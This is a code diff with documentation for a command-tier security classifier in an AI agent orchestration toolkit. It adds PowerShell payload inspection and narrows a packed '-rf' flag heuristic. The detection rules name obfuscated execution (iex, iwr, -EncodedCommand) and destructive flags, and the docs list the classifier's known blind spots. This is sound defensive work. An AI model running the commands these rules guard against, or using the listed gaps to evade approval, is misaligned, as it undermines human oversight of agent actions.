692
+ # following target.
693
+ _re.compile(r"(?:^|[;|{(]|&&)\s*[&.]\s+\S"),
694
+ )
695
+
696
+ # PowerShell `-EncodedCommand <base64>` (and its unambiguous abbreviations) hides
697
+ # the real script inside a base64 blob that cannot be introspected -> T3. Any
698
+ # flag whose body is a prefix of "encodedcommand" (len>=2) or the documented
699
+ # short alias "ec" is treated as the encoded-command flag.
700
+ def _is_ps_encoded_flag(flag: str) -> bool:
701
+ body = flag.lstrip("-").lower()
702
+ if not body:
703
+ return False
704
+ if body == "ec":
705
+ return True
706
+ return len(body) >= 2 and "encodedcommand".startswith(body)
707
+
708
+
634
709
  # ---------------------------------------------------------------------------
635
710
  # Layer 1: Shell command extraction from string literals
636
711
  # ---------------------------------------------------------------------------
@@ -1255,6 +1330,44 @@ CLI_FAMILY_LOOKUP: Dict[str, str] = {
1255
1330
  # Dangerous Flag Scanning
1256
1331
  # ============================================================================
1257
1332
 
1333
+ # Longest packed POSIX short-flag bundle the ``-rf`` heuristic will consider.
1334
+ # Real destructive bundles are short ("-rf"=2, "-rfi"=3, "-rfvd"=4); a token
1335
+ # longer than this is a long-form word flag ("-NoProfile", "-Recurse"), not a
1336
+ # bundle of single-character flags.
1337
+ _MAX_POSIX_SHORT_FLAG_CLUSTER = 4
1338
+
1339
+ # A CamelCase boundary (an uppercase letter immediately followed by a lowercase
1340
+ # one) marks a word, not a flag bundle: "No"/"Pro" in "-NoProfile", "Fo" in
1341
+ # "-Force". Genuine packed short-flag bundles are lowercase ("-rf", "-rfi").
1342
+ _CAMEL_WORD_RE = _re.compile(r"[A-Z][a-z]")
1343
+
1344
+
1345
+ def _is_posix_short_flag_cluster(flag_chars: str) -> bool:
1346
+ """True when *flag_chars* looks like a genuine packed POSIX short-flag bundle.
1347
+
1348
+ ``flag_chars`` is the token body with the leading ``-`` already stripped
1349
+ ("rf" for "-rf", "NoProfile" for "-NoProfile"). A packed bundle is a run of
1350
+ single-character flags -- short, all letters, no CamelCase word boundary. A
1351
+ long single-dash word flag from the .NET/PowerShell/Java family
1352
+ ("-NoProfile", "-Force", "-Recurse", "-ExecutionPolicy") is NOT a bundle and
1353
+ must not be mined for stray ``r``/``f`` characters.
1354
+
1355
+ Trade-off (documented): an uppercase-led bundle such as ``-Rf`` is treated
1356
+ as a word ("Rf" trips the CamelCase gate) and so is NOT matched here. This
1357
+ is deliberate -- excluding the ubiquitous ``-NoProfile`` false positive on
1358
+ every PowerShell command is worth far more than catching the rare
1359
+ uppercase-packed ``-Rf`` form, and the ``-R``/``-r``/``-f`` single flags are
1360
+ still caught by their exact-match handling above.
1361
+ """
1362
+ if not flag_chars or len(flag_chars) > _MAX_POSIX_SHORT_FLAG_CLUSTER:
1363
+ return False
1364
+ if not flag_chars.isalpha():
1365
+ return False
1366
+ if _CAMEL_WORD_RE.search(flag_chars):
1367
+ return False
1368
+ return True
1369
+
1370
+
1258
1371
  def _scan_dangerous_flags(
1259
1372
  tokens: Union[List[str], tuple],
1260
1373
  cli: str,
@@ -1314,15 +1427,26 @@ def _scan_dangerous_flags(
1314
1427
  found.append(token)
1315
1428
 
1316
1429
  # Check for compound short flags containing dangerous combos
1317
- # e.g., "-rfi" contains both -r and -f
1430
+ # e.g., "-rfi" contains both -r and -f.
1431
+ #
1432
+ # This heuristic MUST fire only on genuine packed POSIX short-flag
1433
+ # bundles ("-rf", "-rfi", "-fv"), never on a long single-dash *word*
1434
+ # flag from the .NET/PowerShell/Java family ("-NoProfile", "-Force",
1435
+ # "-Recurse", "-Xmx"). The old rule tested only ``"r" in chars and "f"
1436
+ # in chars`` on any >2-char single-dash token, so "-NoProfile"
1437
+ # (P**rof**ile carries both r and f) was mis-read as "-rf" -- turning
1438
+ # EVERY PowerShell invocation (Claude Code prepends ``-NoProfile``) into
1439
+ # a spurious T3. ``_is_posix_short_flag_cluster`` gates the branch so a
1440
+ # word-flag no longer matches, while real packed bundles still do.
1318
1441
  elif len(token) > 2 and token[0] == "-" and token[1] != "-":
1319
1442
  flag_chars = token[1:]
1320
- if "r" in flag_chars and "f" in flag_chars:
1321
- found.append(token)
1322
- elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
1323
- found.append(token)
1324
- elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
1325
- found.append(token)
1443
+ if _is_posix_short_flag_cluster(flag_chars):
1444
+ if "r" in flag_chars and "f" in flag_chars:
1445
+ found.append(token)
1446
+ elif "f" in flag_chars and cli in F_FLAG_MEANS_FORCE:
1447
+ found.append(token)
1448
+ elif "r" in flag_chars and cli in R_FLAG_MEANS_RECURSIVE_DELETE:
1449
+ found.append(token)
1326
1450
 
1327
1451
  return tuple(found)
1328
1452
 
@@ -1645,6 +1769,22 @@ def detect_mutative_command(
1645
1769
  if py_module_result is not None:
1646
1770
  return py_module_result
1647
1771
 
1772
+ # --- Step 1c-ps: PowerShell command / script introspection ---
1773
+ # ``powershell.exe -Command "<script>"`` collapses its payload into a single
1774
+ # opaque token, so the POSIX verb scanner never sees the cmdlets inside it --
1775
+ # a destructive ``Remove-Item -Recurse`` slips through as safe-by-elimination
1776
+ # while every benign PowerShell call is over-blocked. Introspect the payload
1777
+ # of ``-Command``/``-c`` (and ``-File <script.ps1>`` via its file contents),
1778
+ # classify each cmdlet by its Verb-Noun verb against the approved-verb
1779
+ # taxonomy, escalate the WHOLE payload to T3 on any change/unknown verb or
1780
+ # obfuscation marker, and fall back to conservative T3 on an un-inspectable
1781
+ # payload. Returns None when the command is not a PowerShell interpreter.
1782
+ ps_result = _check_powershell_command(
1783
+ command, base_cmd, family, semantics, cwd=cwd, _depth=_depth,
1784
+ )
1785
+ if ps_result is not None:
1786
+ return ps_result
1787
+
1648
1788
  # --- Step 1d: Script-file analysis (python3 deploy.py, bash setup.sh, ./x) ---
1649
1789
  # An interpreter invoked with a script FILE as a positional argument, or a
1650
1790
  # direct ``./script`` invocation, hides its mutations inside the file --
@@ -2557,6 +2697,181 @@ def _resolve_script_argument(
2557
2697
  return None
2558
2698
 
2559
2699
 
2700
+ def _classify_powershell_verb(verb: str, noun: str) -> str:
2701
+ """Classify a single PowerShell cmdlet by its Verb-Noun verb.
2702
+
2703
+ Returns one of ``"read"`` (non-mutative), ``"change"`` (mutative), or
2704
+ ``"unknown"`` (verb in neither approved set -> conservative T3). ``verb``
2705
+ and ``noun`` are already lowercased. The ``Out-*`` verb is split by noun:
2706
+ ``Out-String``/``Out-Host``/``Out-Null`` render only (read), while
2707
+ ``Out-File``/``Out-Printer`` write (change).
2708
+ """
2709
+ if verb == "out":
2710
+ return "read" if noun in _PS_OUT_READ_NOUNS else "change"
2711
+ if verb in _PS_READ_VERBS:
2712
+ return "read"
2713
+ if verb in _PS_CHANGE_VERBS:
2714
+ return "change"
2715
+ return "unknown"
2716
+
2717
+
2718
+ def _classify_powershell_payload(
2719
+ payload: str, family: str, source: str,
2720
+ ) -> MutativeResult:
2721
+ """Classify a PowerShell script payload by cmdlet verb taxonomy.
2722
+
2723
+ ``payload`` is the raw text of a ``-Command`` string or a ``.ps1`` file.
2724
+ Rules (all conservative / positive-allowlist):
2725
+ 1. Obfuscation markers (``iex``/``iwr``/``icm``, ``Invoke-Expression``,
2726
+ a ``&``/``.`` call operator) escalate to T3 FIRST -- before the cmdlet
2727
+ scan -- so a read cmdlet piped into ``iex`` cannot launder the payload.
2728
+ 2. Every Verb-Noun cmdlet is classified by its verb. ANY change or
2729
+ unknown verb escalates the WHOLE payload to T3 (composition mirror).
2730
+ 3. To drop BELOW T3 every cmdlet must be a read verb AND at least one
2731
+ cmdlet must be present -- a payload with no recognizable cmdlet is
2732
+ T3 (cannot prove it is read-only; no safe-by-elimination here).
2733
+ """
2734
+ # 1. Obfuscation / non-inspectable execution.
2735
+ for rx in _PS_OBFUSCATION_RES:
2736
+ if rx.search(payload):
2737
+ return MutativeResult(
2738
+ is_mutative=True,
2739
+ category=CATEGORY_MUTATIVE,
2740
+ verb="powershell-obfuscation",
2741
+ cli_family=family,
2742
+ confidence="high",
2743
+ reason=(
2744
+ f"PowerShell {source} contains an obfuscation / "
2745
+ f"arbitrary-execution marker (iex / call-operator) "
2746
+ f"-- requires approval"
2747
+ ),
2748
+ )
2749
+
2750
+ # 2. Verb-Noun cmdlet scan.
2751
+ matches = _PS_CMDLET_RE.findall(payload)
2752
+ if not matches:
2753
+ return MutativeResult(
2754
+ is_mutative=True,
2755
+ category=CATEGORY_MUTATIVE,
2756
+ verb="powershell-uninspectable",
2757
+ cli_family=family,
2758
+ confidence="medium",
2759
+ reason=(
2760
+ f"PowerShell {source} has no recognizable Verb-Noun cmdlet "
2761
+ f"-- cannot prove it is read-only (conservative default)"
2762
+ ),
2763
+ )
2764
+
2765
+ for verb, noun in matches:
2766
+ v, n = verb.lower(), noun.lower()
2767
+ kind = _classify_powershell_verb(v, n)
2768
+ if kind == "change":
2769
+ return MutativeResult(
2770
+ is_mutative=True,
2771
+ category=CATEGORY_MUTATIVE,
2772
+ verb=f"{v}-{n}",
2773
+ cli_family=family,
2774
+ confidence="high",
2775
+ reason=(
2776
+ f"PowerShell {source} invokes change cmdlet "
2777
+ f"'{verb}-{noun}' (verb '{verb}') -- requires approval"
2778
+ ),
2779
+ )
2780
+ if kind == "unknown":
2781
+ return MutativeResult(
2782
+ is_mutative=True,
2783
+ category=CATEGORY_MUTATIVE,
2784
+ verb=f"{v}-{n}",
2785
+ cli_family=family,
2786
+ confidence="medium",
2787
+ reason=(
2788
+ f"PowerShell {source} invokes cmdlet '{verb}-{noun}' whose "
2789
+ f"verb '{verb}' is not an approved read verb "
2790
+ f"(conservative default)"
2791
+ ),
2792
+ )
2793
+
2794
+ # 3. Every cmdlet is a read verb.
2795
+ return MutativeResult(
2796
+ is_mutative=False,
2797
+ category=CATEGORY_READ_ONLY,
2798
+ verb="powershell-read",
2799
+ cli_family=family,
2800
+ confidence="high",
2801
+ reason=(
2802
+ f"PowerShell {source}: all cmdlets are approved read verbs "
2803
+ f"(Get/Measure/Select/... ) -- non-mutative"
2804
+ ),
2805
+ )
2806
+
2807
+
2808
+ def _check_powershell_command(
2809
+ command: str, base_cmd: str, family: str, semantics: "CommandSemantics",
2810
+ cwd: "Optional[str]" = None, _depth: int = 0,
2811
+ ) -> "Optional[MutativeResult]":
2812
+ """Classify a PowerShell invocation by introspecting its payload.
2813
+
2814
+ Recognizes ``powershell``/``powershell.exe``/``pwsh``/``pwsh.exe``. The
2815
+ payload source is, in priority order:
2816
+ * ``-EncodedCommand <base64>`` -> T3 immediately (non-inspectable).
2817
+ * ``-File <script.ps1>`` -> read the file and classify its contents
2818
+ (unreadable -> conservative T3, mirroring the script-file lane).
2819
+ * ``-Command``/``-c`` inline -> classify the raw command text (the
2820
+ interpreter flags carry no Verb-Noun cmdlet, so scanning the whole
2821
+ string is safe and captures the payload regardless of quoting).
2822
+ * no explicit payload flag -> scan the whole command text anyway; a
2823
+ bare interactive ``powershell`` with no cmdlet falls to conservative T3.
2824
+
2825
+ Returns ``None`` when ``base_cmd`` is not a PowerShell interpreter.
2826
+ """
2827
+ if base_cmd not in _POWERSHELL_INTERPRETERS:
2828
+ return None
2829
+
2830
+ flag_tokens = set(semantics.flag_tokens)
2831
+
2832
+ # -EncodedCommand: base64 payload is not inspectable -> conservative T3.
2833
+ if any(_is_ps_encoded_flag(f) for f in flag_tokens):
2834
+ return MutativeResult(
2835
+ is_mutative=True,
2836
+ category=CATEGORY_MUTATIVE,
2837
+ verb="powershell-encodedcommand",
2838
+ cli_family=family,
2839
+ confidence="high",
2840
+ reason=(
2841
+ "PowerShell invoked with -EncodedCommand (base64 payload) "
2842
+ "-- cannot introspect the script, requires approval"
2843
+ ),
2844
+ )
2845
+
2846
+ # -File <script.ps1>: classify the referenced file's contents. Routed off
2847
+ # an actual ``.ps1`` positional rather than the ``-File``/``-f`` flag: the
2848
+ # tokenizer normalizes a long single-dash flag into its single chars
2849
+ # (``-NoProfile`` -> ``-n -o ... -f ...``), so a flag-set membership test for
2850
+ # ``-f`` would false-positive on every ``-NoProfile`` invocation. A ``.ps1``
2851
+ # positional is the reliable, collision-free signal.
2852
+ ps_files = [
2853
+ t for t in semantics.non_flag_tokens if t.lower().endswith(".ps1")
2854
+ ]
2855
+ if ps_files:
2856
+ content = _read_script_content(ps_files[0], cwd=cwd)
2857
+ if content is None:
2858
+ return MutativeResult(
2859
+ is_mutative=True,
2860
+ category=CATEGORY_MUTATIVE,
2861
+ verb="powershell-file-unreadable",
2862
+ cli_family=family,
2863
+ confidence="medium",
2864
+ reason=(
2865
+ f"PowerShell -File '{ps_files[0]}' is not a readable file "
2866
+ f"-- cannot verify the payload (conservative default)"
2867
+ ),
2868
+ )
2869
+ return _classify_powershell_payload(content, family, "script file")
2870
+
2871
+ # -Command / -c inline, or no explicit payload flag: scan the command text.
2872
+ return _classify_powershell_payload(command, family, "-Command payload")
2873
+
2874
+
2560
2875
  def _read_script_content(
2561
2876
  path: str, cwd: "Optional[str]" = None,
2562
2877
  ) -> "Optional[str]":
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@jaguilar87/gaia",
3
- "version": "5.2.0-rc.1",
3
+ "version": "5.2.0-rc.3",
4
4
  "description": "Multi-agent orchestration system for Claude Code - DevOps automation toolkit",
5
5
  "main": "index.js",
6
6
  "type": "module",
package/pyproject.toml CHANGED
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "gaia"
3
- version = "5.2.0-rc.1"
3
+ version = "5.2.0-rc.3"
4
4
  description = "Multi-agent orchestration system for Claude Code - DevOps automation toolkit"
5
5
  requires-python = ">=3.11"
6
6
  license = {text = "MIT"}
@@ -169,7 +169,8 @@ There is **no npm postinstall hook**. `package.json` carries an explicit `_insta
169
169
  4. Merge hooks from `hooks.json` into `settings.local.json`.
170
170
  5. Create `.claude/{agents, tools, hooks, config, skills}` symlinks (5) plus a `CHANGELOG.md` file link.
171
171
  6. Write `plugin-registry.json` with `installed[].name == "gaia"` (the single unified plugin identity).
172
- 7. Write the `~/.local/bin/gaia` PATH launcher unless `--no-path`.
172
+ 7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`. On Windows only, install ALSO warns (`_warn_launcher_shadowed` / `_launcher_path_precedence`) when `~/.local/bin` does not precede the npm prefix on PATH -- the npm shim would win and the launcher would be shadowed.
173
+ 8. **Windows only:** persist `GAIA_WORKSPACE_PATH` to the USER environment via `setx` (`_persist_workspace_env` in `bin/cli/install.py`). The launcher's export is process-scoped, so if npm's own `gaia.cmd` wins the PATH lookup the env var is never set and `doctor._derive_workspace` derives the npm prefix -> false CRITICAL. The persisted (durable, last-install-wins, single-valued) value makes the NEXT `gaia doctor` (a fresh process) resolve the workspace regardless of which `gaia` wins PATH. No-op on POSIX. When no workspace resolves and the env var is unset, `gaia doctor` emits a legible, actionable message naming both remedies (`--workspace <path>` or reinstall) instead of a raw CRITICAL.
173
174
 
174
175
  Note: no `project-context.json` is written. Project context lives in `~/.gaia/gaia.db`. Run `gaia scan` separately to populate it -- install never triggers a scan.
175
176
 
@@ -35,6 +35,8 @@ This mirrors `_classify_command_tier_cached` in `hooks/modules/security/tiers.py
35
35
 
36
36
  Conditional commands depend on flags: `git branch` is T0 for listing but T3 only with `-D` or `-M` (the force-delete and force-rename flags checked by `_scan_dangerous_flags`) or the long-form `--delete`. The lowercase short forms `-d` (delete) and `-m` (rename) are deliberately LEFT UNGATED -- this is an intentional design decision, not a classification gap. Git itself refuses `-d` on a branch with unmerged commits (it exits non-zero and demands the explicit `-D` override to force it through), so the safety check already lives inside git before Gaia's tier classification ever runs; gating a command git already declines to run unsafely would add friction without closing a real risk. The same split applies to `-m` vs `-M`: `-m` renames without clobbering an existing branch of the same name, while `-M` forces the rename and can silently overwrite it. So the free/gated line mirrors git's own safe/force distinction -- the safe verbs (`-d`, `-m`) stay free, the force verbs (`-D`, `-M`) are gated. Separately, the short force flag `-f` now escalates git to T3 across subcommands (`git` is in `F_FLAG_MEANS_FORCE` in `mutative_verbs.py`, mirroring the long-form `--force`): `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` are all T3. Without this, those slipped through as T0 because their subcommands live in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
37
37
 
38
+ Packed short-flag heuristic (`_scan_dangerous_flags` -> `_is_posix_short_flag_cluster`): a single-dash multi-char token like `-rf`/`-rfi` is a bundle of single-character POSIX flags (`-r -f -i`), and the scanner escalates it when it packs a dangerous combination. That heuristic USED to test only "does the token contain both `r` and `f`?" on ANY `>2`-char single-dash token -- which mis-read the .NET/PowerShell/Java-style long word-flag `-NoProfile` (P**rof**ile carries both `r` and `f`) as if it were `-rf`, forcing EVERY PowerShell invocation (Claude Code prepends `-NoProfile`) to a spurious T3. The gate now fires only on a genuine packed bundle: short (`<= _MAX_POSIX_SHORT_FLAG_CLUSTER`, 4 chars), all letters, and with no CamelCase word boundary (`_CAMEL_WORD_RE`, an uppercase letter followed by a lowercase one). So `-rf`/`-rfi`/`-fv`/`-rv` still escalate, while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` no longer do -- for ANY CLI with single-dash word flags, not just PowerShell. Accepted trade-off: an uppercase-led bundle such as `-Rf` trips the CamelCase gate and is not matched here, deliberately -- the `-R`/`-r`/`-f` single flags are still caught by their exact-match handling, and killing the ubiquitous `-NoProfile` false positive is worth far more than the rare uppercase-packed form.
39
+
38
40
  KNOWN ASYMMETRY (documented, not changed): `--delete` is git's documented long-form synonym for `-d` -- both invoke the same safe, refuses-if-unmerged deletion -- yet `--delete` IS currently gated (`DELETE_FLAG_IS_DESTRUCTIVE` in `mutative_verbs.py` lists `git`) while `-d` is not (`DANGEROUS_FLAGS` has no entry for `-d`). Two spellings of the identical safe operation currently classify differently. This is a known, accepted inconsistency between the two flag forms -- flagged here for visibility, left as-is by design. For cloud-specific verb patterns (kubectl, terraform, gcloud, helm, flux), see `reference.md`.
39
41
 
40
42
  ## Enforcement anchors
@@ -44,6 +46,7 @@ The runtime, not this skill, enforces tiers. Three modules layer the decision:
44
46
  - `tiers.py` -- the `SecurityTier` enum (`T0_READ_ONLY`, `T1_VALIDATION`, `T2_DRY_RUN`, `T3_BLOCKED`) and `_classify_command_tier_cached` assign every command a tier.
45
47
  - `blocked_commands.py` -- pattern-matches irreversible commands and permanently denies them (exit 2, never approvable).
46
48
  - `mutative_verbs.py` -- CLI-agnostic detection of mutative verbs; drives the nonce / approval flow for T3. Includes script-file detection (Step 1d, `_check_script_file`): when a command is `<interpreter> <script-file>` (`python3 deploy.py`, `bash setup.sh`, `node migrate.js`) or `./script.ext`, the file is read and classified by its real invocations -- AST analysis for Python, the blocked/mutative regex layer for shells and other interpreters. A script that is missing, unreadable, or whose interpreter is unrecognized defaults to T3 (conservative). This prevents the evasion path where `<interp> <file>` bypasses the verb scanner because the filename token has no recognizable subcommand. A RELATIVE script token is resolved against the `cd` TARGET of its command chain, NOT the hook's own cwd: `detect_mutative_command` peels a leading `cd <dir>` chain (`_peel_leading_cd`, on `&&` / `;`, `||` excluded) and threads the resulting `cwd` into `_read_script_content`; the compound validator (`bash_validator._validate_compound_command`) additionally folds the cwd across the SEPARATE components a chain splits into (via `cwd_after_component`), so `cd /repo && node engine/build.mjs` reads `/repo/engine/build.mjs` and classifies at its true tier instead of a false `script-file-unreadable` T3. Gaia governs arbitrary workspaces, so this must not assume the install dir; when no `cd` is present the process cwd is still used, and a path that is unreadable AFTER honoring the `cd` keeps the conservative T3 fallback. Before reading the body, `_check_script_file` first checks `_INTERP_SYNTAX_CHECK_FLAGS`: a leading syntax-check-only flag (`bash -n`, `sh -n`, `node --check` / `node -c`) that precedes the script positional never executes the script, so the invocation downgrades to T0 without reading the file's contents at all -- a flag appearing after the script positional is an argument to the script and does not qualify. One narrowly-scoped script is re-dispatched rather than AST-scanned: the Gaia CLI dispatcher `bin/gaia` (recognized by basename `gaia` + parent dir `bin` + a body signature, via `_check_gaia_cli_dispatcher`) has its own `subprocess.run(...)` for the lazy DB bootstrap, which AST analysis would flag as mutative -- turning EVERY `python3 <path>/bin/gaia <subcmd>` into a false T3, including read-only subcommands (`doctor`, `release check`, dry-runs). Instead the tokens after the script positional are reconstructed as `gaia <subcmd> ...` and re-classified through the normal engine, so the form classifies IDENTICALLY to the installed launcher form `gaia <subcmd>` (`dev` stays T3 via `COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES`, `install` T3 via `MUTATIVE_VERBS`, read-only subcommands T0). This mirrors the `python3 -m pip install` -> `pip install` re-dispatch and is NOT a general subprocess.run bypass -- an unrelated `bin/gaia` without the signature is still AST-scanned. Step 1e (`_check_npm_script_runner`) applies the same real-effect standard to npm: `npm run <script>` is resolved to its `package.json` `scripts.<script>` body (the `package.json` is read under the same `cd`-honored cwd, so `cd /repo && npm run build` reads `/repo/package.json`) and that body is classified by the same regex engine used for script files (an unresolvable body -- missing/unparseable `package.json` or absent entry -- falls back to conservative T3), while `npm ci` is unconditionally mutative (T3) because it rewrites `node_modules` regardless of the verb taxonomy. Non-shell source files (`.js`/`.mjs`/`.cjs`/`.rb`/`.pl`/`.php`) route through the **"code" lane**, which splits by language. Each of the four registered families -- the JS family (`.js`/`.mjs`/`.cjs`, or a `node` interpreter token), plus php (`.php`/`php`), ruby (`.rb`/`ruby`), and perl (`.pl`/`.pm`/`perl`) -- resolves a `LanguageSpec` via `source_lexer.spec_for_script` and is classified by `_classify_source_with_lexer`; a language with no registered spec (`spec_for_script` returns `None`) falls through to the older regex lane, `_classify_script_content_by_regex` with `from_source_code=True`. For any lexed family, `source_lexer.strip_source` runs a single left-to-right state machine over the file and produces two line-aligned projections: `verb_view` (comments blanked, string/template-literal CONTENTS blanked) and `exec_view` (comments blanked, string CONTENTS KEPT). `_classify_source_with_lexer` then runs, per line: (1) `is_blocked_command` on `verb_view` as a defense-in-depth safety net for a permanently-blocked pattern; (2) `_scan_exec_sink_string_args` on `exec_view` with `shell_backticks=spec.backticks_are_exec` -- `JS_SPEC.backticks_are_exec` is `False`, because a JS backtick delimits a template literal, not shell execution, so backtick/`%x{}` bodies are NOT treated as exec sinks for JS. Deliberately **not** run for JS: the whole-token mutative-verb scan (`detect_mutative_command`) that the regex lane uses -- in JS a bare word at subcommand position is a language identifier, not a CLI subcommand (`const label = ...`, `let close = ...`), and the scan caught no real JS mutation, only these identifier collisions, so it is removed entirely for this lane rather than merely down-weighted. A real JS mutation still reaches the shell through an exec sink whose argument is a string literal (`execSync("kubectl delete ...")`), which `exec_view` preserves (including `${…}` interpolation) and re-classifies, so removing the whole-token scan does not open a false negative. Ruby/perl/php are now comment/string-aware exactly like JS: each resolves its own `LanguageSpec` (`RUBY_SPEC`/`PERL_SPEC`/`PHP_SPEC`) and routes through `_classify_source_with_lexer`, closing the false-T3 class where a mutative verb mentioned only inside a comment (`php` with `// update the user cache`, ruby `=begin ... delete ... =end`, perl POD) was read as an invocation. Their comment grammars exceed JS's `//` + `/* */`, so the spec carries three extensions (all defaulting off, leaving `JS_SPEC` unchanged): `extra_line_comments` for PHP's second line marker `#` alongside `//`; `line_block_comments` for Ruby's column-0 `=begin`/`=end`; and `pod_style` for Perl POD (a line starting with `=`+letter, closed by `=cut`). Heredocs (`<<<`/`<<~`) and `q{}`/`qq{}` string forms are an accepted limitation that can only cost a residual false positive, never a false negative. Crucially, unlike `JS_SPEC`, these three specs set `backticks_are_exec=True` and do NOT list the backtick in `string_quotes`: a ruby/perl/php backtick body -- and Ruby's `%x{}` -- is left verbatim in the exec view and re-classified as a shell command (`_EXEC_SINK_BACKTICK_RE`/`_EXEC_SINK_PERCENT_X_RE`, `shell_backticks=True`), since a backtick in these languages IS shell execution. This preserves the exec detection the old regex lane had (`system()`/`shell_exec()`/backticks/`%x{}` still classify T3) while dropping the whole-token verb scan, which -- as in JS -- produced only language-identifier collisions and caught no real mutation (those go through exec sinks). Because the quote making a command one token would otherwise hide a mutation passed to a subprocess as a string literal, `_scan_exec_sink_string_args` is one detector shared across three callers -- the inline `-c`/`-e` path, the shell/other-language regex code lane, and the (JS/ruby/perl/php) lexer lane: the command handed to an exec sink (`execSync`/`execFile`/`spawn`/`system`/`shell_exec`/`passthru`/backticks/`%x{}`, backticks gated by `shell_backticks`) is extracted and re-classified, escalating to T3 **only when the inner command is itself mutative or blocked** (so `execSync("kubectl delete ...")` is T3 while a benign `execSync("ls")` stays T0 -- the false-positive gate). This makes `node deploy.js` classify identically to `node -e "..."`. Residual accepted-limitation: the general case -- a mutation assembled by string concatenation, variable interpolation, or base64, or passed to a sink not in the exec-sink set -- is not detected by static classification; the exec-sink slice is the bounded, low-false-positive portion that is closed.
49
+ - `mutative_verbs.py` (PowerShell lane, Step 1c-ps, `_check_powershell_command`) -- the POSIX verb scanner is blind to the Windows/.NET shell: `powershell.exe -Command "<script>"` collapses its payload into one opaque token, so a destructive `Remove-Item -Recurse` inside it slipped through as safe-by-elimination (a false NEGATIVE). This lane mirrors `_INLINE_CODE_MAP` / `_check_script_file` for `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe`: it introspects the payload of `-Command`/`-c` (scanning the whole command text -- the interpreter flags carry no Verb-Noun cmdlet, so this is collision-free) and of `-File <script.ps1>` (read via `_read_script_content` under the `cd`-honored cwd; unreadable -> conservative T3, mirroring the script-file lane). Each cmdlet is classified by its Verb-Noun VERB (the part before the hyphen) against PowerShell's approved-verb taxonomy: `_PS_READ_VERBS` (get/measure/select/where/sort/compare/test/resolve/find/search/show/format/convertfrom/convertto/... -> read) vs `_PS_CHANGE_VERBS` (set/new/remove/clear/move/copy/rename/start/stop/invoke/... -> T3); the ambiguous `Out-*` verb splits by noun (`Out-String`/`Out-Host`/`Out-Null` read, `Out-File`/`Out-Printer` change). Three security rules keep it conservative, NOT permissive: (1) composition -- ANY change/unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (`Get-ChildItem; Remove-Item x` is T3, not T0 by first-cmdlet); (2) obfuscation -- `iex`/`iwr`/`icm`, `Invoke-Expression`, `&`/`.` call operators (`_PS_OBFUSCATION_RES`), and `-EncodedCommand <base64>` (`_is_ps_encoded_flag`) are T3 regardless of surrounding cmdlets, checked FIRST so a read cmdlet piped into `iex` cannot launder the payload; (3) positive allowlist -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable cmdlet must be present; a payload with no recognizable Verb-Noun cmdlet (or any unknown verb) stays T3 (default-deny fallback, mirroring an unreadable script file). Because the verb taxonomy classifies by verb rather than a per-cmdlet list, a never-before-seen cmdlet is classified correctly (`Get-FooBar` -> read, `Set-FooBar` -> T3) with no allow-list to maintain. Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias not in the obfuscation set is not name-resolved.
47
50
  - `composition_rules.py` -- `check_composition` / `classify_stage` classify pipe compositions (FILE_READ→EXEC_SINK, network→exec, decode→exec); triggers T3 on dangerous pipelines such as `file_to_exec`.
48
51
  - `flag_classifiers.py` -- `_classify_curl` / `classify_by_flags` detect flag-dependent mutations; triggers T3 on commands whose flags make them mutative (e.g., `curl -X POST`).
49
52
 
@@ -30,6 +30,7 @@ Read on-demand by infrastructure agents. Not injected automatically.
30
30
 
31
31
  - `git branch` -- T0 for listing (no args or `--list`); T3 only with `-D` (force-delete), `-M` (force-rename), or the long-form `--delete`. The lowercase `-d` (delete -- git refuses on unmerged branches) and `-m` (plain rename) are intentionally left ungated: they are the safe counterparts of the same operations, and gating them would add a consent prompt for something git itself already refuses to do unsafely. `--move` (git's long form of `-m`, a plain rename) IS a recognized git flag but, like `-m`, is intentionally left ungated -- it is the safe counterpart of `-M`. Known asymmetry: `--delete` (long form of `-d`) IS gated even though it performs the identical safe deletion `-d` performs -- see `SKILL.md` for the full rationale and this documented (not fixed) inconsistency.
32
32
  - Short force flag `-f` on git -- T3 across subcommands. `git` is in `F_FLAG_MEANS_FORCE` (`mutative_verbs.py`), mirroring the long-form `--force`, so `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` all escalate to T3. Previously these slipped through as T0 because their subcommands are in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
33
+ - Packed short-flag bundle (`-rf`, `-rfi`, `-fv`) -- T3 when it packs a dangerous single-char combination. `_scan_dangerous_flags` treats a single-dash multi-char token as a bundle of one-char POSIX flags and escalates `r`+`f` (always), `f` (force CLIs), or `r` (recursive-delete CLIs). It is gated by `_is_posix_short_flag_cluster` so only a GENUINE bundle qualifies -- short (<= 4 chars), all letters, no CamelCase word boundary (`_CAMEL_WORD_RE`). This is the fix for the false positive where the .NET/PowerShell/Java-style long word-flag `-NoProfile` (contains `r` and `f`) was mis-read as `-rf` and forced every PowerShell command to T3. Now `-rf`/`-rfi`/`-fv` still escalate while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` do not, for any CLI with single-dash word flags. Accepted trade-off: an uppercase-led `-Rf` also trips the CamelCase gate and is not matched here (the single `-R`/`-r`/`-f` exact-match handling still catches those).
33
34
 
34
35
  ### T3 -- Realization
35
36
 
@@ -41,6 +42,37 @@ Read on-demand by infrastructure agents. Not injected automatically.
41
42
 
42
43
